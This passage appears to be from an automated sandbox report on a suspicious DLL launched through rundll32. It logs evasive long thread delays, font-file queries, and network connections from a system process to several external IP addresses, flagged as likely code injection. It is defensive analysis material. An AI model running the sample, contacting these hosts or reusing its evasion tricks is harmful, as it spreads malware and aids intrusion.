Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 589	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 2827	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 357	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 410	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: threadDelayed 5565	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Window / User API: foregroundWindowGot 1774	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe TID: 6848	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -99655s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -99407s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -99282s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -99157s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -99032s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -98907s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 6996	Thread sleep time: -410000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 6996	Thread sleep time: -5565000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\rundll32.exe TID: 7424	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99655	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99407	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99282	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99157	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 99032	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 98907	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 88.198.193.213 80	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 35.201.97.85 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 104.26.13.205 80	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 3.33.130.190 80	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\vstdlib_s64.dll.dll",#1

Jump to behavior

Source: rundll32.exe, rundll32.exe, 00000006.00000002.1742655748.000001C4BEC02000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.1743520661.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000007.00000002.1800566707.00007FFDFB3A2000.00000020.00000001.01000000.00000003.sdmp

Binary or memory string: Shell_TrayWnd

Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\vstdlib_s64.dll.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
